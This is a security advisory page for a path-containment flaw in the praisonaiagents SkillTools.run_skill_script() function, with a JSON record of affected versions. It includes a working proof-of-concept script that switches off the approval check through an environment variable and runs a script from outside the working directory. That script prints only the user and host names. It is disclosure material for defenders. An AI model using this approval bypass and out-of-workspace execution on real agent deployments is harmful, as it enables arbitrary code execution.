PYSEC-2026-4270

Vulnerability from pysec - Published: 2026-10-15 10:22 - Updated: 2026-10-15 14:38
VLAI
Details

Summary

SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.

Details

src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):

def run_skill_script(self, script_path: str, ...):
    script_path = os.path.expanduser(script_path)
    if not os.path.isabs(script_path):
        script_path = os.path.join(self._working_directory, script_path)
    script_path = os.path.abspath(script_path)

    if not os.path.exists(script_path):
        return f"Error: Script not found at {script_path}"

    # No path traversal check, no containment validation
    # Directly executes whatever is at that path:
    result = subprocess.run(cmd, ...)

By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:

def _validate_path(self, filepath: str) -> str:
    # ...
    cwd = os.path.abspath(os.getcwd())
    if os.path.commonpath([absolute, cwd]) != cwd:
        raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

SkillTools has no equivalent check.

PoC

import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools

# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")

# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
    f.write("#!/bin/bash\n")
    f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
    f.write("echo \"USER: $(whoami)\"\n")
    f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)

# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

st = SkillTools()
st._working_directory = jail  # Pretend we're confined

# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
#   PROOF_OF_EXPLOIT: Script executed outside jail
#   USER: anushkavirgaonkar
#   HOSTNAME: Anushkas-MacBook-Pro-2.local

# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)

Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact

  • Arbitrary script execution: Run any script on the filesystem from any location
  • Chaining with file write: Write a malicious script via write_file (YAML-approvable as a high-risk tool), then execute it via run_skill_script
  • Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Impacted products
Name purl
praisonaiagents pkg:pypi/praisonaiagents
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents",
        "purl": "pkg:pypi/praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.100",
        "0.0.101",
        "0.0.102",
        "0.0.103",
        "0.0.104",
        "0.0.105",
        "0.0.106",
        "0.0.107",
        "0.0.108",
        "0.0.109",
        "0.0.11",
        "0.0.110",
        "0.0.111",
        "0.0.112",
        "0.0.113",
        "0.0.114",
        "0.0.115",
        "0.0.116",
        "0.0.117",
        "0.0.118",
        "0.0.119",
        "0.0.12",
        "0.0.120",
        "0.0.121",
        "0.0.122",
        "0.0.123",
        "0.0.124",
        "0.0.125",
        "0.0.126",
        "0.0.127",
        "0.0.128",
        "0.0.129",
        "0.0.13",
        "0.0.130",
        "0.0.131",
        "0.0.132",
        "0.0.133",
        "0.0.134",
        "0.0.135",
        "0.0.136",
        "0.0.137",
        "0.0.138",
        "0.0.139",
        "0.0.14",
        "0.0.140",
        "0.0.141",
        "0.0.142",
        "0.0.143",
        "0.0.144",
        "0.0.145",
        "0.0.146",
        "0.0.147",
        "0.0.148",
        "0.0.149",
        "0.0.15",
        "0.0.150",
        "0.0.151",
        "0.0.152",
        "0.0.153",
        "0.0.154",
        "0.0.155",
        "0.0.156",
        "0.0.157",
        "0.0.158",
        "0.0.159",
        "0.0.16",
        "0.0.160",
        "0.0.161",
        "0.0.162",
        "0.0.163",
        "0.0.164",
        "0.0.165",
        "0.0.166",
        "0.0.167",
        "0.0.168",
        "0.0.169",
        "0.0.17",
        "0.0.170",
        "0.0.171",
        "0.0.172",
        "0.0.173",
        "0.0.174",
        "0.0.175",
        "0.0.176",
        "0.0.177",
        "0.0.178",
        "0.0.179",
        "0.0.18",
        "0.0.180",
        "0.0.181",
        "0.0.182",
        "0.0.183",
        "0.0.184",
        "0.0.185",
        "0.0.187",
        "0.0.188",
        "0.0.189",
        "0.0.19",
        "0.0.190",
        "0.0.191",
        "0.0.192",
        "0.0.193",
        "0.0.194",
        "0.0.195",
        "0.0.196",
        "0.0.197",
        "0.0.198",
        "0.0.199",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.36",
        "0.0.37",
        "0.0.38",
        "0.0.39",
        "0.0.4",
        "0.0.40",
        "0.0.41",
        "0.0.42",
        "0.0.43",
        "0.0.44",
        "0.0.45",
        "0.0.46",
        "0.0.47",
        "0.0.48",
        "0.0.49",
        "0.0.5",
        "0.0.50",
        "0.0.51",
        "0.0.52",
        "0.0.53",
        "0.0.54",
        "0.0.56",
        "0.0.57",
        "0.0.58",
        "0.0.59",
        "0.0.6",
        "0.0.60",
        "0.0.61",
        "0.0.62",
        "0.0.63",
        "0.0.64",
        "0.0.65",
        "0.0.66",
        "0.0.67",
        "0.0.68",
        "0.0.69",
        "0.0.7",
        "0.0.70",
        "0.0.71",
        "0.0.72",
        "0.0.73",
        "0.0.74",
        "0.0.75",
        "0.0.76",
        "0.0.77",
        "0.0.78",
        "0.0.79",
        "0.0.8",
        "0.0.80",
        "0.0.81",
        "0.0.82",
        "0.0.83",
        "0.0.84",
        "0.0.85",
        "0.0.86",
        "0.0.87",
        "0.0.88",
        "0.0.89",
        "0.0.9",
        "0.0.90",
        "0.0.91",
        "0.0.92",
        "0.0.93",
        "0.0.94",
        "0.0.95",
        "0.0.96",
        "0.0.97",
        "0.0.98",
        "0.0.99",
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.11",
        "0.1.12",
        "0.1.13",
        "0.1.14",
        "0.1.15",
        "0.1.16",
        "0.1.17",
        "0.1.18",
        "0.1.19",
        "0.1.2",
        "0.1.20",
        "0.1.21",
        "0.1.22",
        "0.1.23",
        "0.1.24",
        "0.1.25",
        "0.1.26",
        "0.1.27",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.10.0",
        "0.10.1",
        "0.10.10",
        "0.10.2",
        "0.10.3",
        "0.10.4",
        "0.10.5",
        "0.10.6",
        "0.10.7",
        "0.10.8",
        "0.10.9",
        "0.11.0",
        "0.11.1",
        "0.11.10",
        "0.11.11",
        "0.11.12",
        "0.11.13",
        "0.11.14",
        "0.11.15",
        "0.11.16",
        "0.11.17",
        "0.11.18",
        "0.11.19",
        "0.11.2",
        "0.11.20",
        "0.11.21",
        "0.11.22",
        "0.11.23",
        "0.11.24",
        "0.11.25",
        "0.11.27",
        "0.11.28",
        "0.11.29",
        "0.11.3",
        "0.11.30",
        "0.11.31",
        "0.11.4",
        "0.11.5",
        "0.11.6",
        "0.11.7",
        "0.11.8",
        "0.11.9",
        "0.12.0",
        "0.12.1",
        "0.12.10",
        "0.12.11",
        "0.12.12",
        "0.12.13",
        "0.12.14",
        "0.12.15",
        "0.12.16",
        "0.12.17",
        "0.12.18",
        "0.12.19",
        "0.12.2",
        "0.12.20",
        "0.12.21",
        "0.12.3",
        "0.12.4",
        "0.12.5",
        "0.12.6",
        "0.12.7",
        "0.12.8",
        "0.12.9",
        "0.13.0",
        "0.13.1",
        "0.13.10",
        "0.13.11",
        "0.13.12",
        "0.13.13",
        "0.13.14",
        "0.13.15",
        "0.13.16",
        "0.13.17",
        "0.13.18",
        "0.13.19",
        "0.13.2",
        "0.13.20",
        "0.13.21",
        "0.13.22",
        "0.13.23",
        "0.13.3",
        "0.13.4",
        "0.13.5",
        "0.13.6",
        "0.13.7",
        "0.13.8",
        "0.13.9",
        "0.14.0",
        "0.14.1",
        "0.14.10",
        "0.14.11",
        "0.14.12",
        "0.14.14",
        "0.14.15",
        "0.14.16",
        "0.14.2",
        "0.14.3",
        "0.14.4",
        "0.14.5",
        "0.14.6",
        "0.14.7",
        "0.14.8",
        "0.14.9",
        "0.15.0",
        "0.15.1",
        "0.15.2",
        "0.15.3",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "0.3.4",
        "0.4.0",
        "0.4.1",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.6.6",
        "0.6.7",
        "0.6.8",
        "0.7.0",
        "0.7.1",
        "0.8.0",
        "0.8.1",
        "0.9.0",
        "0.9.1",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.2.1",
        "1.2.2",
        "1.2.3",
        "1.2.4",
        "1.3.0",
        "1.3.1",
        "1.4.0",
        "1.4.1",
        "1.4.2",
        "1.4.3",
        "1.4.4",
        "1.4.5",
        "1.4.6",
        "1.4.7",
        "1.4.8",
        "1.5.0",
        "1.5.1",
        "1.5.10",
        "1.5.100",
        "1.5.101",
        "1.5.102",
        "1.5.103",
        "1.5.104",
        "1.5.105",
        "1.5.106",
        "1.5.107",
        "1.5.108",
        "1.5.109",
        "1.5.11",
        "1.5.110",
        "1.5.111",
        "1.5.112",
        "1.5.113",
        "1.5.114",
        "1.5.115",
        "1.5.116",
        "1.5.117",
        "1.5.118",
        "1.5.119",
        "1.5.12",
        "1.5.120",
        "1.5.121",
        "1.5.122",
        "1.5.123",
        "1.5.124",
        "1.5.125",
        "1.5.126",
        "1.5.127",
        "1.5.128",
        "1.5.129",
        "1.5.13",
        "1.5.130",
        "1.5.131",
        "1.5.132",
        "1.5.133",
        "1.5.134",
        "1.5.135",
        "1.5.136",
        "1.5.137",
        "1.5.138",
        "1.5.139",
        "1.5.14",
        "1.5.140",
        "1.5.141",
        "1.5.142",
        "1.5.143",
        "1.5.144",
        "1.5.145",
        "1.5.146",
        "1.5.147",
        "1.5.148",
        "1.5.149",
        "1.5.15",
        "1.5.16",
        "1.5.17",
        "1.5.18",
        "1.5.19",
        "1.5.2",
        "1.5.20",
        "1.5.21",
        "1.5.22",
        "1.5.23",
        "1.5.24",
        "1.5.25",
        "1.5.26",
        "1.5.27",
        "1.5.28",
        "1.5.29",
        "1.5.3",
        "1.5.30",
        "1.5.31",
        "1.5.32",
        "1.5.33",
        "1.5.34",
        "1.5.35",
        "1.5.36",
        "1.5.37",
        "1.5.38",
        "1.5.39",
        "1.5.40",
        "1.5.41",
        "1.5.42",
        "1.5.43",
        "1.5.44",
        "1.5.45",
        "1.5.46",
        "1.5.47",
        "1.5.48",
        "1.5.49",
        "1.5.5",
        "1.5.50",
        "1.5.51",
        "1.5.52",
        "1.5.53",
        "1.5.54",
        "1.5.55",
        "1.5.56",
        "1.5.57",
        "1.5.58",
        "1.5.59",
        "1.5.6",
        "1.5.60",
        "1.5.61",
        "1.5.62",
        "1.5.63",
        "1.5.64",
        "1.5.65",
        "1.5.66",
        "1.5.67",
        "1.5.68",
        "1.5.69",
        "1.5.7",
        "1.5.70",
        "1.5.71",
        "1.5.72",
        "1.5.73",
        "1.5.74",
        "1.5.75",
        "1.5.76",
        "1.5.77",
        "1.5.78",
        "1.5.79",
        "1.5.8",
        "1.5.80",
        "1.5.81",
        "1.5.82",
        "1.5.83",
        "1.5.84",
        "1.5.85",
        "1.5.86",
        "1.5.87",
        "1.5.88",
        "1.5.89",
        "1.5.9",
        "1.5.90",
        "1.5.91",
        "1.5.92",
        "1.5.93",
        "1.5.94",
        "1.5.95",
        "1.5.96",
        "1.5.97",
        "1.5.98",
        "1.5.99",
        "1.6.1",
        "1.6.10",
        "1.6.11",
        "1.6.12",
        "1.6.13",
        "1.6.14",
        "1.6.15",
        "1.6.16",
        "1.6.17",
        "1.6.18",
        "1.6.19",
        "1.6.2",
        "1.6.20",
        "1.6.21",
        "1.6.22",
        "1.6.23",
        "1.6.24",
        "1.6.25",
        "1.6.26",
        "1.6.27",
        "1.6.28",
        "1.6.29",
        "1.6.3",
        "1.6.30",
        "1.6.31",
        "1.6.32",
        "1.6.33",
        "1.6.34",
        "1.6.35",
        "1.6.36",
        "1.6.37",
        "1.6.38",
        "1.6.39",
        "1.6.4",
        "1.6.40",
        "1.6.41",
        "1.6.42",
        "1.6.43",
        "1.6.44",
        "1.6.45",
        "1.6.46",
        "1.6.47",
        "1.6.48",
        "1.6.5",
        "1.6.50",
        "1.6.51",
        "1.6.52",
        "1.6.53",
        "1.6.54",
        "1.6.55",
        "1.6.56",
        "1.6.57",
        "1.6.58",
        "1.6.59",
        "1.6.6",
        "1.6.60",
        "1.6.62",
        "1.6.63",
        "1.6.64",
        "1.6.65",
        "1.6.66",
        "1.6.67",
        "1.6.68",
        "1.6.69",
        "1.6.7",
        "1.6.70",
        "1.6.71",
        "1.6.72",
        "1.6.73",
        "1.6.74",
        "1.6.75",
        "1.6.76",
        "1.6.77",
        "1.6.8",
        "1.6.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61443",
    "GHSA-c44f-37qr-gw3f"
  ],
  "details": "### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n    script_path = os.path.expanduser(script_path)\n    if not os.path.isabs(script_path):\n        script_path = os.path.join(self._working_directory, script_path)\n    script_path = os.path.abspath(script_path)\n\n    if not os.path.exists(script_path):\n        return f\"Error: Script not found at {script_path}\"\n\n    # No path traversal check, no containment validation\n    # Directly executes whatever is at that path:\n    result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -\u003e str:\n    # ...\n    cwd = os.path.abspath(os.getcwd())\n    if os.path.commonpath([absolute, cwd]) != cwd:\n        raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, \u0027w\u0027) as f:\n    f.write(\"#!/bin/bash\\n\")\n    f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n    f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n    f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail  # Pretend we\u0027re confined\n\n# Run script from OUTSIDE the jail \u2014 no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n#   PROOF_OF_EXPLOIT: Script executed outside jail\n#   USER: anushkavirgaonkar\n#   HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists \u2014 the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges",
  "id": "PYSEC-2026-4270",
  "modified": "2026-10-15T14:38:03.625067Z",
  "published": "2026-10-15T10:22:51.005537Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61443"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62168"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonaiagents"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-c44f-37qr-gw3f"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: SkillTools Executes Scripts Without Path Containment Validation"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.